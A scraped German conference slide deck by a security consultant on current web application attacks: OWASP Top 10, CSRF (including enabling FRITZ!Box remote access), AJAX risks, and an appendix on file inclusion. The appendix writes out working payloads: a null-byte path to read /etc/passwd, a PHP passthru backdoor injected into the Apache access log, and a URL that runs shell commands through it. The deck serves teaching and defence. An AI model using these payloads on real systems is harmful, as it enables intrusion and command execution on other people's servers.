Unix Friends and User Campus Kamp Aktuelle Angriffstechniken auf Web-Applikationen

Ähnliche Dokumente
Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn

Aktuelle Angriffstechniken auf Web-Applikationen. Andreas Kurtz cirosec GmbH, Heilbronn

Warum werden täglich tausende von Webseiten gehackt?

Web-Sicherheit: Kein fauler Zauber?! Kai Jendrian. <Seminartitel> <Seminartitel>

am Beispiel - SQL Injection

am Beispiel - SQL Injection

Secure Programming vs. Secure Development

Web Application Security

Web 2.0 (In) Security PHPUG Würzburg Björn Schotte

Sicherheit in Webanwendungen CrossSite, Session und SQL

Datensicherheit. Vorlesung 5: Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter

Einführung in die Scriptsprache PHP

Inhaltsverzeichnis. Open-Xchange Authentication & Sessionhandling

Abbildung der Gefährdungen der WASC und OWASP auf die Gefährdungen und Maßnahmenempfehlungen des IT-Grundschutz-Bausteins B 5.

Baustein Webanwendungen. Stephan Klein, Jan Seebens

OpenWAF Web Application Firewall

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Agenda. Einführung AJAX Was ist eigentlich AJAX?

Aus unserer Projekt- und Schulungserfahrung Oracle TechNet

Inhaltsverzeichnis. Einleitung... 11

OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes

Netzwerksicherheit Übung 9 Websicherheit

WEBAPPLIKATIONEN MIT PHP. Wo gibt es Hilfe? Wie fang ich an?

itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 2013 OneConsult GmbH

Online Kataloge. Wie binde ich einen SGVSB-Online-Katalog in eine Webseite ein. Versionsnummer: 1.0 Änderungsdatum:

IT-Zertifikat: Allgemeine Informationstechnologien II PHP

Aktuelle Sicherheitsprobleme im Internet

Tobias Wassermann. Sichere Webanwendungen mit PHP

Aktuelle Bedrohungen im Internet

Angreifbarkeit von Webapplikationen

Home-Router als Hintertürchen ins Geschäftsnetzwerk?

IT-Sicherheit Angriffsziele und -methoden Teil 2

PHP-Schwachstellen und deren Ausnutzung

1. Zugriff auf das Lonza Netzwerk von ihrem privaten PC oder von einem Internet Café

OWASP Top 10. im Kontext von Magento. Mittwoch, 21. November 12

Destructive AJAX. Stefan Proksch Christoph Kirchmayr

IHK: Web-Hacking-Demo

AJAX Implementierung mit Joomla!

Datenbank-basierte Webserver

Secure Coding & Live Hacking von Webapplikationen. Conect Informunity

Sicherheit in Rich Internet Applications

FileBox Solution. Compass Security AG. Cyber Defense AG Werkstrasse 20 Postfach 2038 CH-8645 Jona

B E N U T Z E R D O K U M E N TA T I O N ( A L E P H I N O

Informatik I: Einführung in die Programmierung

Auskunft über die Kassendaten

affilinet_ Flash-Spezifikationen

Herzlich willkommen im Modul Web-Engineering

Bkvadmin2000 Peter Kirischitz

Sicherheit Web basierter Anwendungen

Carsten Eilers. Ajax Security. Sichere Web-2.0-Anwendungen. ntwickier

Facebook I-Frame Tabs mit Papoo Plugin erstellen und verwalten

Zugriff auf OWA Auf OWA kann über folgende URLs zugegriffen werden:

Wordpress: Blogbeiträge richtig löschen, archivieren und weiterleiten

Einrichtung Secure-FTP

Universal Dashboard auf ewon Alarmübersicht auf ewon eigener HTML Seite.

Konfiguration von Igel ThinClients fu r den Zugriff via Netscaler Gateway auf eine Storefront/ XenDesktop 7 Umgebung

Monatstreff für Menschen ab 50 Temporäre Dateien / Browserverlauf löschen / Cookies

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Wie funktioniert das WWW? Sicher im WWW

8. Workshop - Internetarchivierung

Outlook Web App Kurzanleitung. Zürich, 09. Februar Eine Dienstabteilung des Finanzdepartements

Anleitung zum Prüfen von WebDAV

Internet online Update (Mozilla Firefox)

Schwachstellenanalyse 2012

Frankfurt,

DYNAMISCHE SEITEN. Warum Scriptsprachen? Stand: CF Carola Fichtner Web-Consulting


Programmers Manual Geodaten Ver. 2.0

Georg Heß. Grünes Licht für verlässlichere Online- Services WEB APPLICATION SECURITY. Deutschland sicher im Netz e.v. Köln,

Installationsbeschreibung Flottenmanager 7.1

NetMan Desktop Manager Vorbereitung und Konfiguration des Terminalservers

Home-Router als Einfallstor ins Firmennetzwerk?

Step by Step Softwareverteilung unter Novell. von Christian Bartl

Software- Handbuch

Webhost Unix Statistik

Webseiten sind keine Gemälde. Webstandards für ein besseres Web. Webstandards für ein besseres Web

Verwendung des Terminalservers der MUG

Protect 7 Anti-Malware Service. Dokumentation

Secure Webcoding for Beginners

Anleitung. Lesezugriff auf die App CHARLY Termine unter Android Stand:

Herzlich willkommen zur Kurzvorlesung: Die häufigsten Fehlerquellen bei der Erstellung von Webapplikationen. Udo H. Kalinna. Nürnberg, den

Installationshinweise für OpenOffice Portable auf einem Wechseldatenträger Stand: 27. März 2003 LS Stuttgart, Kaufmännische ZPG

Die offizielle Homepage, Informationen, Entwicklergemeinde, etc. findet man unter

Browsereinstellungen für moneycheck24 in Explorer unter Windows

IIS 7.5 mit Exchange Server 2010 OWA FBA Intern und Extern ueber Forefront TMG

PING e.v. Heimvernetzung und Sicherheit im Internet. HobbyTronic Nächster Vortrag: 12:15 Uhr. PING e.v. Weiterbildung -

Herzlich willkommen im Modul Informatik Grundlagen

Installation des Authorware Webplayers für den Internet Explorer unter Windows Vista

ArcGIS for Server : Sicherung von Diensten und Anwendungen Erfahrung von Kanton Freiburg

Dreamweaver 8 Einführung

Tracking-Beispiele. Inhalt: Standard Tracking / Cookie Tracking Anchor-Tracking Direct Tracking Referer Tracking Tracking von Produkt-Feeds

Das HMS-Reporting-Framework Schneller Zugang zu relevanten Reports

Session Management und Cookies

Freigabe von Terminal Services Web Access für externe Benutzer

SaniVision WebApps Allgemeine Informationen

ACCOUNTINFO 1.01 VERWENDEN DER ACCOUNTINFO-SCHNITTSTELLE ABFARGE VON ACCOUNT-INFORMATIONEN IN ECHTZEIT 02. MÄRZ 2010

CCC Bremen. R.M.Albrecht

ASV-Betrieb für die Coburger Schulen. Einbindung externer Schulen via RemoteApp

Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen

Transkript:

Unix Friends and User Campus Kamp Aktuelle Angriffstechniken auf Web-Applikationen Steffen Tröscher cirosec GmbH, Heilbronn

Steffen Tröscher Dipl.-Informatiker (FH) IT-Sicherheitsberater Tätigkeitsschwerpunkte: Penetrationstests auf Web-Applikationen, Betriebssystem- und Netzwerkebene Trainer von Hacking Schulungen

cirosec GmbH Beratungsunternehmen in Heilbronn derzeit 26 Mitarbeiter Fokus auf innovative IT-Sicherheit: Penetrationstests, Audits Schulungen konzeptionelle Analyse.. Angebot an Studenten: Durchführung Praktikum oder Thesis

Gliederung Schwachstellen-Überblick Präsentation aktueller Angriffstechniken Neue Sicherheitsrisiken durch Web 2.0 -Technologien wie AJAX

Gliederung Schwachstellen-Überblick Präsentation aktueller Angriffstechniken Neue Sicherheitsrisiken durch Web 2.0 -Technologien wie AJAX

Bug-Parade Schwachstellensammlungen OWASP: Top 10 SANS/MITRE: Top 25 der gefährlichsten Programmierfehler (siehe ix 03/2009)

OWASP Top 10 A1 A2 Injection Cross Site Scripting A3 Broken Authentication & Session Management A4 Insecure Direct Object Reference A5 Cross Site Request Forgery (CSRF) A6 Security Misconfiguration A7 Failure to Restrict URL Access A8 Unvalidated Redirects and Forwards A9 Insecure Cryptographic Storage A10 Insufficient Transport Layer Protection

OWASP Top 10 A1 A2 Injection Cross Site Scripting A3 Broken Authentication & Session Management A4 Insecure Direct Object Reference A5 Cross Site Request Forgery (CSRF) A6 Security Misconfiguration A7 Failure to Restrict URL Access A8 Unvalidated Redirects and Forwards A9 Insecure Cryptographic Storage A10 Insufficient Transport Layer Protection

Gliederung Schwachstellen-Überblick Präsentation aktueller Angriffstechniken Neue Sicherheitsrisiken durch Web 2.0 -Technologien wie AJAX

Cross-Site Request Forgery (CSRF) Andere Begriffe XSRF Session Riding URL Command Attack Unbemerktes und unerwünschtes Ausführen von Aktionen im Kontext eines angemeldeten Benutzers, z.b. Passwortänderung Einträge in Foren / Blogs Kaufen / Verkaufen von Aktien

CSRF HTTP-Anfrage 1 GET / HTTP/1.1 Host: www.beispiel.de CSRF-Angriff 3 GET/transfer?recipient=hacker &amount=100 HTTP/1.1 Host: www.cirobank.de beispiel.de Opfer cirobank.de HTTP-Antwort 2 HTTP/1.1 200 OK... <html>... <img src= http://www.cirobank.de/transfer?recipient=hacker&amount=100 />... </html>

Cross-Site Request Forgery (CSRF) Schwachstelle liegt in der Webanwendung Keine erneute Verifikation der Identität beim Aufruf einer Aktion Anfragen sind statisch und vorhersagbar Es werden keine Shared Session Secrets eingesetzt Die Applikation vertraut einem einmal angemeldeten Benutzer

CSRF Angriffsvektoren Verteilung über E-Mail-Nachrichten im HTML-Format Einbinden in andere bekannte Internetseiten Gästebücher, Foren, etc. Die Möglichkeit Bilder einzubinden reicht aus, um eine Angriffs-URL einzubetten Ausnutzung persistenter/nicht-persistenter Cross-Site-Scripting-Schwachstellen

Demonstration Cross-Site-Request Forgery (CSRF) innerhalb der cirobank

CSRF erkennen Aus Sicht der Webapplikation schwierig, da Legitimer HTTP-Request Aufruf einer legitimen Applikations-Funktion Anfrage von einem authentisierten Benutzer Erkennung über den HTTP-Referer? Beispiel:

CSRF erkennen (HTTP-Referer) Facebook wertet den HTTP-Referer aus: Referer: http://www.facebook.com/ Referer: http://www.angreifer.de/csrf/ Was passiert, wenn kein Referer vorhanden ist?

CSRF erkennen (HTTP-Referer) Facebook wertet den HTTP-Referer aus: Referer: http://www.facebook.com/ Referer: http://www.angreifer.de/csrf/ Was passiert, wenn kein Referer vorhanden ist? Warnmeldung wird eingeblendet Anfrage wird dennoch ausgeführt Hintergrund: Proxies, Browser, Anti-Viren- Software etc. Filtern den HTTP-Referer Benutzer würden ausgesperrt werden

CSRF ins interne Netz HTTP-Anfrage 1 GET / HTTP/1.1 Host: www.beispiel.de Intranet beispiel.de Gateway / Firewall Opfer 3 HTTP-Antwort 2 HTTP/1.1 200 OK... <html>... <img src= http://192.168.0.1/admin?remote_access=true />... </html> CSRF-Angriff 192.168.0.1

CSRF-Angriff auf die FRITZ!Box Standardmäßig ist das Webinterface der FRITZ!Box nicht passwortgeschützt Die FRITZ!Box prüft ebenfalls den HTTP-Referer

Demonstration Aktivieren des Remote-Zugangs einer FRITZ!Box über CSRF

Schutz vor CSRF Behebung der Schwachstelle auf Server-Seite: Zufalls-Token, so dass eine Anfrage nicht vorhergesagt werden kann Einsatz von CAPTCHA / TAN-Nummern Schutz auf Client-Seite: Abmelden nach Benutzung einer Applikation Browser-Plugins, wie z.b. NoScript (Firefox)

Gliederung Schwachstellen-Überblick Präsentation aktueller Angriffstechniken Neue Sicherheitsrisiken durch Web 2.0 -Technologien wie AJAX

Was ist AJAX? Asynchronous JavaScript and XML HTTP-Anfragen innerhalb einer HTML-Seite, ohne die Seite komplett neu laden zu müssen Seit 2005, Technik existiert in vergleichbarer Form aber schon seit 1998 (Outlook Web Access/IE4) Nutzung in vielen bekannten Websites: Google Suggest Google Maps Flickr Del.icio.us

Klassisches Modell einer Webanwendung Serverseitig Browser Datenbank HTML & CSS HTTP-Transport HTML / CSS HTTP(S)-Verkehr Applikationsserver Webserver

AJAX-Modell einer Webanwendung Browser HTML & CSS Serverseitig Javascript XHR-Objekt HTTP-Transport XML / JSON HTTP(S)-Verkehr Datenbank Applikationsserver Webserver Verlagerung der Applikationslogik auf Clientseite

Kombination von Technologien HTML/XHTML Document Object Model zur Repräsentation der Inhalte JavaScript zur Manipulation des DOM XMLHttpRequest-Objekt für den asynchronen Datenaustausch mit dem Webserver

klassischer Prozessfluss Client Benutzeraktivität Benutzeraktivität Benutzeraktivität Zeit (t) Server Verarbeitung durch das System Verarbeitung durch das System

AJAX Prozessfluss Client Benutzeroberfläche Benutzeraktivität AJAX-Bibliothek Clientseitige Verarbeitung Server Verarbeitung durch das System Verarbeitung durch das System Verarbeitung durch das System

Codebeispiel AJAX xmlhttp = new XMLHttpRequest(); xmlhttp.open('get', 'beispiel.xml', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readystate == 4) { alert(xmlhttp.responsetext); } }; xmlhttp.send(null);

Alte Gefahren......bleiben die Gleichen AJAX-Anfragen sind ganz normale HTTP-Requests, die der Webserver nicht unterscheiden kann Bekannte Angriffe wie SQL-Injection, XSS oder File-Inclusion bestehen auch auf AJAX-Basis weiter fort

Neue Sicherheitsrisiken von AJAX Server-seitig: Vergrößerung der Angriffsoberfläche durch mehr Parameter, die geprüft werden müssen Unzureichende Eingabevalidierung der Anfragen Unauthentisierte/unautorisierte Nutzung von AJAX-Schnittstellen Client-seitig: Verlagerung der Logik auf Client-Seite Ausführung von JavaScript-Code in AJAX- Responses auf dem Client

Umgehung der Authentisierung Client Server Benutzername / Kennwort Benutzer authentisiert Anmeldemaske ausblenden Aktion im geschützten Bereich Ausreichende Berechtigung??

Umgehung der Authentisierung Client Server Benutzername / Kennwort Benutzer authentisiert Anmeldemaske ausblenden Aktion im geschützten Bereich Erfolgt nicht! Ausreichende Berechtigung??

Demonstration Umgehung einer AJAXbasierten Authentisierung

Vielen Dank!

Zusatz

Command Injection über File Inclusion

Command Injection Ausschnitt aus dem fehlerhaften PHP-Skript: : <h3>tipptopp-aktuell:</h3> <div class="left_box"> <?php if($_get['include']) { if((substr($_get['include'],-4,4) == 'html')) { include($_get['include']); } else { echo "<strong>es können nur Dateien eingebunden werden, die auf.html enden! </strong>"; } }?>

Command Injection 1. Schwachstelle: File Inclusion

Command Injection 1. Schwachstelle: File Inclusion Aufruf der URL: http://192.168.87.129/news/news.php?incl ude=/etc/passwd%00.html

Command Injection

Command Injection 2. Schwachstelle: Command Injection Ideen?

Command Injection 2. Schwachstelle: Command Injection Ziel: PHP basierte Backdoor (passthru()) PHP-Code einschleusen, der zur Ausführung kommt Problem: Wo können wir PHP-Code hinterlegen? Oder anders: Wo kann Apache schreibend zugreifen?

Command Injection 2. Schwachstelle: Command Injection Idee: Einschleusen von PHP-Code in Apache Logfile (access_log, error_log) Alternativen: FTP Logfile (Loginname = PHP-Code) Prozess-Tabelle (User-Agent in /proc/self/environ) Session-Files (PHP-Code in Session-ID) Dann: Einbinden der Datei, damit PHP-Code zur Ausführung kommt

Command Injection 2. Schwachstelle: Command Injection Aber: Wird PHP-Code ausgeführt? Kommt auf die verwendete PHP-Funktion an, die die Schwachstelle aufweist. Anfällige Funktionen: include() include_once() require() require_once()

Command Injection Ausschnitt aus dem fehlerhaften PHP-Skript: : <h3>tipptopp-aktuell:</h3> <div class="left_box"> <?php if($_get['include']) { if((substr($_get['include'],-4,4) == 'html')) { include($_get['include']); } else { echo "<strong>es können nur Dateien eingebunden werden, die auf.html enden! </strong>"; } }?>

Command Injection 2. Schwachstelle: Command Injection Einschleusen des PHP-Code in die Datei /var/log/httpd/access_log Aufruf der URL: http://192.168.87.129/news/news.php? a=<?passthru($_get[cmd])?>

Command Injection

Command Injection Währendessen im Webserver Logfile: 192.168.87.132 - - [30/Oct/2009:08:17:12 +0100] "GET /images/corner.gif HTTP/1.1" 200 55 "http://192.168.87.129/news/news.php? a=<?passthru($_get[cmd])?>" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30;.NET CLR 3.0.04506.648;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729)"

Command Injection 2. Schwachstelle: Command Injection Ausführen des eingeschleusten Codes OS-Kommando: ls -la Aufruf der URL: http://192.168.87.129/news/news.php? include=/etc/httpd/logs/access_log%00.html&cmd=ls -la

Command Injection